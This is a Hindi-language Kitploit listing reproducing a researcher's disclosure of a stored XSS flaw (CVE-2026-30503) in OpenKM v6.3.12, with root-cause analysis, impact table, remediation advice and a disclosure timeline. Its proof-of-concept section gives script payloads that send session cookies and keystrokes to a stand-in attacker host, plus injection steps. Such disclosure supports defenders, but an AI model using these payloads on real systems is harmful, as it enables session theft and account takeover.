Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/dharmstm/cve-2026-30503-openkm-6.3.12-stored-xss
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षा
GitHubdharmstm/cve-2026-30503-openkm-6.3.12-stored-xss

CVE-2026-30503-OpenKM-6.3.12-Stored-XSS

CVE-2026-30503 का विस्तृत खुलासा, OpenKM v6.3.12 में एक संग्रहीत XSS कमजोरी। इसमें मूल कारण विश्लेषण, PoC पेलोड, प्रभाव आकलन, और सुरक्षा शोधकर्ताओं और पेंटेस्टर्स के लिए सुधारात्मक सिफारिशें शामिल हैं।

रिपॉजिटरी देखें
13 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

🛡️ CVE-2026-30503 — OpenKM v6.3.12 में संग्रहीत XSS

CVE Badge OpenKM Type Disclosure Status

द्वारा खोजा गया और रिपोर्ट किया गया धर्मेंद्र कुमार — सुरक्षा शोधकर्ता

साइबर सुरक्षा | पैठ परीक्षण | भेद्यता अनुसंधान | जिम्मेदार प्रकटीकरण


📌 विषयसूची

  • अवलोकन
  • CVE विवरण
  • प्रभावित उत्पाद
  • भेद्यता विवरण
  • मूल कारण विश्लेषण
  • प्रभाव और जोखिम मूल्यांकन
  • प्रूफ ऑफ कॉन्सेप्ट (PoC)
उपचार और सिफारिशें
  • प्रकटीकरण समयरेखा
  • संदर्भ
  • शोधकर्ता के बारे में

  • 🔍 अवलोकन

    यह रिपॉजिटरी CVE-2026-30503 के जिम्मेदार प्रकटीकरण का दस्तावेजीकरण करती है, जो OpenKM v6.3.12 में पहचाना गया एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यता है — एक ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली जो उद्यम वातावरण में व्यापक रूप से उपयोग की जाती है।

    यह भेद्यता एक प्रमाणित हमलावर को एप्लिकेशन में स्थायी दुर्भावनापूर्ण JavaScript इंजेक्ट करने की अनुमति देती है, जो किसी भी उपयोगकर्ता (प्रशासकों सहित) के ब्राउज़र संदर्भ में निष्पादित होती है जो बाद में प्रभावित सामग्री देखता है।

    ⚠️ गंभीरता: उच्च | हमला वेक्टर: नेटवर्क | आवश्यक विशेषाधिकार: निम्न | उपयोगकर्ता सहभागिता: आवश्यक


    📋 CVE विवरण

    फ़ील्डविवरण
    CVE आईडीCVE-2026-30503
    उत्पादOpenKM
    प्रभावित संस्करणv6.3.12
    भेद्यता वर्गसंग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
    CWECWE-79: इनपुट का वेब पेज जनरेशन के दौरान अनुचित उदासीनीकरण
    CVSS वेक्टरCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
    शोधकर्ताधर्मेंद्र कुमार
    प्रकटीकरण प्रकारजिम्मेदार / समन्वित

    📦 प्रभावित उत्पाद

    OpenKM एक मुफ्त और ओपन-सोर्स दस्तावेज़ प्रबंधन प्रणाली (DMS) है जो व्यावसायिक दस्तावेज़ों के प्रबंधन, ऑडिटिंग और वितरण के लिए एक वेब इंटरफ़ेस प्रदान करती है। इसका उपयोग दुनिया भर में उद्यमों, सरकारी निकायों और शैक्षणिक संस्थानों द्वारा किया जाता है।

    • उत्पाद नाम: OpenKM दस्तावेज़ प्रबंधन प्रणाली
    • प्रभावित संस्करण: v6.3.12
    • विक्रेता वेबसाइट: https://www.openkm.com
    • श्रेणी: दस्तावेज़ प्रबंधन प्रणाली (DMS)
    • भाषा/स्टैक: Java (JSP/Spring)

    🧨 भेद्यता विवरण

    OpenKM v6.3.12 में कई संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) भेद्यताएं पाई गईं। कम विशेषाधिकार वाला एक प्रमाणित हमलावर एक या अधिक इनपुट फ़ील्ड में मनमाना JavaScript पेलोड इंजेक्ट कर सकता है। ये पेलोड एप्लिकेशन के बैकएंड में स्थायी रूप से संग्रहीत हो जाते हैं और स्वचालित रूप से निष्पादित होते हैं जब भी कोई उपयोगकर्ता — प्रशासकों सहित — प्रभावित पृष्ठ या घटक तक पहुंचता है।

    रेफ्लेक्टेड XSS के विपरीत, जिसमें पीड़ित को एक तैयार लिंक पर क्लिक करना होता है, संग्रहीत XSS पेलोड एप्लिकेशन में ही एम्बेडेड होते हैं, जिससे वे काफी अधिक खतरनाक और स्थायी हो जाते हैं।

    भेद्य एंडपॉइंट

    • दस्तावेज़ मेटाडेटा, नोट्स या नामकरण फ़ील्ड के भीतर उपयोगकर्ता-नियंत्रित इनपुट फ़ील्ड
    • एप्लिकेशन ब्राउज़र पर वापस प्रस्तुत करने से पहले उपयोगकर्ता इनपुट को सैनिटाइज़ या एन्कोड करने में विफल रहता है

    🔬 मूल कारण विश्लेषण

    यह भेद्यता एप्लिकेशन की इनपुट प्रबंधन पाइपलाइन में तीन संयुक्त कमजोरियों से उत्पन्न होती है:

    root@kitploit:~
    उपयोगकर्ता इनपुट ──► [कोई सत्यापन नहीं] ──► DB में संग्रहीत ──► [कोई आउटपुट एन्कोडिंग नहीं] ──► ब्राउज़र में प्रस्तुत ──► XSS निष्पादित
    
    कमज़ोरीविवरण
    ❌ इनपुट सत्यापन का अभावएप्लिकेशन उपयोगकर्ता द्वारा प्रदान किए गए फ़ील्ड में विशेष वर्णों (<, >, ", ', ;) को प्रतिबंधित या सैनिटाइज़ नहीं करता है
    ❌ आउटपुट एन्कोडिंग का अभावसंग्रहीत मानों को HTML-एंटिटी एन्कोडिंग के बिना सीधे HTML में प्रस्तुत किया जाता है
    ❌ असुरक्षित DOM रेंडरिंगउपयोगकर्ता द्वारा प्रदान किया गया डेटा बिना CSP या सैनिटाइज़ेशन नियंत्रण के DOM संदर्भ में एम्बेड किया जाता है

    💥 प्रभाव और जोखिम मूल्यांकन

    इस भेद्यता के सफल शोषण से निम्नलिखित हो सकता है:

    जोखिमविवरण
    🍪 सत्र अपहरणdocument.cookie एक्सफ़िल्ट्रेशन के माध्यम से प्रमाणित सत्र टोकन चुराना
    👤 खाता अधिग्रहणप्रशासक खातों सहित पीड़ित खातों से समझौता करना
    🔐 क्रेडेंशियल हार्वेस्टिंगलॉगिन क्रेडेंशियल कैप्चर करने के लिए फ़िशिंग फ़ॉर्म इंजेक्ट करना
    📤 डेटा एक्सफ़िल्ट्रेशनDMS से संवेदनशील दस्तावेज़ या मेटाडेटा चुपचाप निकालना
    ⚙️ अनधिकृत कार्यपीड़ित की ओर से विशेषाधिकार प्राप्त संचालन करना (दस्तावेज़ हटाना/संशोधित करना)
    🎯 प्रशासक लक्ष्यीकरणजब कोई प्रशासक सामग्री की समीक्षा करता है तो पेलोड प्रशासन पैनल में निष्पादित होता है
    🔄 वर्म प्रसारस्व-प्रतिकृति XSS पेलोड उपयोगकर्ताओं में फैल सकता है

    🧪 प्रूफ ऑफ कॉन्सेप्ट (PoC)

    ⚠️ अस्वीकरण: यह PoC केवल जिम्मेदार प्रकटीकरण के सिद्धांतों के तहत शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए साझा किया गया है। उन सिस्टमों के विरुद्ध इसका उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।

    पेलोड उदाहरण (सामान्य)

    root@kitploit:~
    // मूल PoC — स्क्रिप्ट निष्पादन प्रदर्शित करता है
    <script>alert('CVE-2026-30503 - XSS by Dharmendra Kumar')</script>
    
    // सत्र टोकन एक्सफ़िल्ट्रेशन
    <script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
    
    // कीलॉगर इंजेक्शन
    <script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
    

    पुनरुत्पादन के चरण

    1. निम्न-विशेषाधिकार प्राप्त प्रमाणित खाते के साथ OpenKM v6.3.12 में लॉग इन करें
    2. भेद्य इनपुट फ़ील्ड पर नेविगेट करें (उदा., दस्तावेज़ मेटाडेटा / नोट्स / शीर्षक फ़ील्ड)
    3. एक XSS पेलोड इंजेक्ट करें जैसे <script>alert(document.cookie)</script>
    4. प्रविष्टि सहेजें / सबमिट करें
    5. एक अलग उपयोगकर्ता (या प्रशासक) के रूप में लॉग इन करें और प्रभावित संसाधन पर नेविगेट करें
    6. पीड़ित के ब्राउज़र संदर्भ में JavaScript पेलोड को निष्पादित होते देखें

    🛠️ उपचार और सिफारिशें

    डेवलपर्स / विक्रेताओं के लिए

    सिफारिशकार्यान्वयन
    ✅ इनपुट सत्यापनअनुमत वर्णों की श्वेतसूची बनाएं; सभी उपयोगकर्ता इनपुट पर HTML विशेष वर्णों को अस्वीकार या हटाएं
    ✅ आउटपुट एन्कोडिंगHTML में डेटा प्रस्तुत करने से पहले संदर्भ-जागरूक HTML एन्कोडिंग (जैसे, OWASP Java Encoder) का उपयोग करें
    ✅ सामग्री सुरक्षा नीति (CSP)एक सख्त CSP हेडर लागू करें: Content-Security-Policy: script-src 'self'
    ✅ HTTPOnly और सुरक्षित कुकीज़सभी सत्र कुकीज़ पर HttpOnly और Secure फ़्लैग सेट करें ताकि JavaScript पहुंच को रोका जा सके
    ✅ सुरक्षा लाइब्रेरी का उपयोगHTML सैनिटाइज़ेशन के लिए OWASP AntiSamy या DOMPurify को एकीकृत करें
    ✅ सुरक्षा कोड समीक्षाअसैनिटाइज़्ड उपयोगकर्ता-नियंत्रित डेटा के लिए सभी रेंडर पथों का ऑडिट करें
    ✅ अपग्रेडनवीनतम विक्रेता-प्रदत्त पैच लागू करें या पैच किए गए संस्करण में अपग्रेड करें

    सिस्टम प्रशासकों के लिए

    • 🔒 केवल विश्वसनीय नेटवर्क तक OpenKM इंस्टेंस की पहुंच प्रतिबंधित करें
    • 📊 इनपुट फ़ील्ड में असामान्य गतिविधि या अप्रत्याशित स्क्रिप्ट टैग के लिए एप्लिकेशन लॉग की निगरानी करें
    • 🔄 एप्लिकेशन को नवीनतम पैच किए गए रिलीज़ में अपडेट रखें
    • 🧩 क्षतिपूर्ति नियंत्रण के रूप में XSS डिटेक्शन नियमों के साथ एक वेब एप्लिकेशन फ़ायरवॉल (WAF) तैनात करें

    📅 प्रकटीकरण समयरेखा

    तिथिघटना
    🔍 खोजOpenKM v6.3.12 के सुरक्षा मूल्यांकन के दौरान भेद्यता की पहचान
    📧 विक्रेता को सूचनाOpenKM सुरक्षा टीम को प्रारंभिक प्रकटीकरण रिपोर्ट प्रस्तुत की गई
    🤝 विक्रेता द्वारा स्वीकृतिOpenKM टीम ने रिपोर्ट स्वीकार की
    📝 CVE असाइनमेंटCVE प्रोग्राम द्वारा CVE-2026-30503 असाइन किया गया
    🌐 सार्वजनिक प्रकटीकरणउपचार अवधि के बाद समन्वित सार्वजनिक प्रकटीकरण

    यह भेद्यता जिम्मेदार प्रकटीकरण सर्वोत्तम प्रथाओं का पालन करते हुए, सार्वजनिक रिलीज़ से पहले विक्रेता और CVE प्रोग्राम के साथ समन्वय करते हुए प्रकट की गई थी।


    📚 संदर्भ

    • 🔗 [ गिटहब] (https://github.com/dharmstm/OpenKM-6.3-Stored-XSS-Report/).
    • 🔗 MITRE CVE प्रविष्टि — CVE-2026-30503
    • 🔗 NVD — राष्ट्रीय भेद्यता डेटाबेस
    • 🔗 OpenKM आधिकारिक वेबसाइट
    • 🔗 OWASP XSS रोकथाम चीट शीट
    • 🔗 CWE-79: क्रॉस-साइट स्क्रिप्टिंग
    • 🔗 OWASP टॉप 10 — A03:2021 इंजेक्शन

    👨‍💻 शोधकर्ता के बारे में

    धर्मेंद्र कुमार

    सुरक्षा शोधकर्ता | पैठ परीक्षक | बग हंटर

    धर्मेंद्र कुमार एक स्वतंत्र साइबर सुरक्षा शोधकर्ता हैं जो वेब एप्लिकेशन सुरक्षा, पैठ परीक्षण और जिम्मेदार भेद्यता प्रकटीकरण में विशेषज्ञता रखते हैं। व्यापक रूप से उपयोग किए जाने वाले सॉफ़्टवेयर में वास्तविक दुनिया की सुरक्षा खामियों की पहचान करने पर ध्यान केंद्रित करते हुए, उनका काम वैश्विक स्तर पर उपयोग किए जाने वाले एप्लिकेशन की सुरक्षा स्थिति में सुधार करने में योगदान देता है।

    विशेषज्ञता के क्षेत्र:

    • 🌐 वेब एप्लिकेशन पैठ परीक्षण
    • 🐛 बग बाउंटी हंटिंग
    • 🔍 भेद्यता अनुसंधान और CVE रिपोर्टिंग
    • 📋 जिम्मेदार प्रकटीकरण और सुरक्षा सलाह
    • 🛡️ OWASP शीर्ष 10 भेद्यताएं

    जुड़ें:

    LinkedIn GitHub Twitter


    ⚖️ कानूनी अस्वीकरण

    यह रिपॉजिटरी केवल शैक्षिक और सूचनात्मक उद्देश्यों के लिए है। यहां साझा किए गए भेद्यता विवरण और प्रूफ-ऑफ-कॉन्सेप्ट पेलोड जिम्मेदार प्रकटीकरण सिद्धांतों के अनुसार प्रकाशित किए गए हैं। लेखक इस जानकारी के किसी भी अनधिकृत उपयोग का समर्थन, प्रोत्साहन या जिम्मेदारी नहीं लेता है। किसी भी सिस्टम पर सुरक्षा परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।


    🙏 आभार

    विशेष धन्यवाद:

    • जिम्मेदार प्रकटीकरण प्रक्रिया के दौरान उनके सहयोग के लिए OpenKM विकास टीम
    • CVE पहचानकर्ता को असाइन और समन्वयित करने के लिए CVE प्रोग्राम / MITRE Corporation
    • सॉफ़्टवेयर को सभी के लिए सुरक्षित बनाने के लिए उनके निरंतर प्रयासों के लिए व्यापक सुरक्षा अनुसंधान समुदाय

    ⭐ यदि यह शोध उपयोगी था, तो कृपया इस रिपॉजिटरी को स्टार करने पर विचार करें।

    © 2026 धर्मेंद्र कुमार — सर्वाधिकार सुरक्षित

    Visitors

    टूल डाउनलोड करें